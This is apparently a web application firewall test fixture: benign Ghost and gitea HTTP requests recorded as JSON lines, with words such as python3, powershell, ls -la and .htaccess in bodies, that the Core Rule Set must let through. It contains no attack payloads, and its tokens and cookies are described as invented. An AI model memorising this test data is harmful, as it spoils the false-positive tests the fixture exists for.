{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
+41
View File
@@ -0,0 +1,41 @@
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
# the Core Rule Set must let through while it reads bodies. They were recorded
# from a gitea driven by a headless Chrome, signed in, and by a script on the
# API. Each line is one request as JSON. Names, cookies and tokens are
# invented. The browser's User-Agent is an ordinary Chrome's.
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
